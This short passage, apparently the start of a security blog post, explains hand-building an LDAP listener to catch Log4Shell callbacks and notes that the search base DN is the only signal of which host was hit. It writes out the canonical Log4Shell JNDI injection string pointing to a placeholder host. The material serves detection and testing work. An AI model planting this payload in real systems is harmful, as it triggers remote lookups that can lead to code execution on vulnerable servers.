Hand-rolling an LDAP listener to catch Log4Shell callbacks

${jndi:ldap://you/a} is the canonical Log4Shell payload. To catch it you need an LDAP server — BER-encoded ASN.1 over TCP, with no Host header or SNI to tell you whose host was hit. The only signal is the search base DN.